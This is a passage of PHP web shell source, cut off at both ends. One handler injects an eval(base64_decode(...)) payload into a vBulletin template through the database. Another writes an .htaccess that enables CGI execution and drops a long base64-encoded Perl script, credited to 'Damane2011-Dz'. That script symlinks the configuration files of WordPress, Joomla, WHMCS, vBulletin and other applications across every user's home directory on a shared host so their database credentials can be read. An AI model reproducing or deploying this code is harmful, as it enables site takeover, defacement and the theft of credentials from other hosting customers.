<br>
<textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
<INPUT value=\"Set\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST[‚localhost‘];
$database = $_POST[‚database‘];
$username = $_POST[‚username‘];
$password = $_POST[‚password‘];
$index = $_POST[‚index‘];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\’","’",$index);
$set_index = "{\${eval(base64_decode(\’";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\‘))}}{\${exit()}}</textarea>";
$ok=@mysql_query("UPDATE template SET template =’".$set_index."‘ WHERE title =’spacer_open’") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}}}
elseif($action == "configler") {
@mkdir("config", 0755) or die("Can’t Create A new Dir !!");
@chdir("config");
$hta = ".htaccess";
$file_create = "$hta";
$file = fopen ($file_create , ‚w‘) or die ("Can’t Open File !!");
$htaccess = "";
$htaccess = "AddHandler cgi-script .dam
Options all
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html";
fwrite ( $file , $htaccess) ;
fclose ($file);
$configshell = ‚IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPi46IERhbWFuZTIwMTEtRHogOi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogZm9udC1zaXplOiB4LWxhcmdlOw0KIGNvbG9yOiAjODAwMDgwOw0KIGJhY2tncm91bmQtY29sb3I6ICMwMDgwMDA7DQogdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLW9zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb20udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcDIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zYWxlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLW1lbWJlcnMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy00aW1hZ2VzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLXdwLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywka29sYS4nLXdwLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3Atc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywka29sYS4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FyY2FkZS9mdW5jdGlvbnMvZGJjbGFzcy5waHAnLCRrb2xhLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1wcm90YWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW1haW4udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiM35jb25maWcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjF+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCRrb2xhLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCRrb2xhLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywka29sYS4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1tYW5hZ2UudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLWZvcnVtcy50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYXJ0aWNsZS9jb25maWcucGhwJywka29sYS4nLU53YWh5LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLVBIUC1GdXNpb24udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXRyYWlkbnQxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJy1EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLTFtZW1iZXIudHh0JykgOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydHMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcmVxdWlyZXMvY29uZmlnLnBocCcsJGtvbGEuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy1zdXBwb3J0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWNsaWVudC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWJpbGxpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWJpbGxpbmdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwJywka29sYS4nLWhvc3RiaWxscy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRrb2xhLictaG9zdGJpbGxzLWhvc3RiaWxscy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0YmlsbC9pbmNsdWRlcy9pc280MjE3LnBocCcsJGtvbGEuJy1ob3N0YmlsbHMtaG9zdGJpbGwudHh0Jyk7DQoNCn0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPg0KPHA+LjogRGFtYW5lMjAxMS1EeiA6LjwvcD4NCjxwPkRhbWFuZS1EekBob3RtYWlsLmNvbTwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweCI+PC90ZXh0YXJlYT4NCjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz48YnIgLz4NCjxwPk1vZGlmaWVkIEJ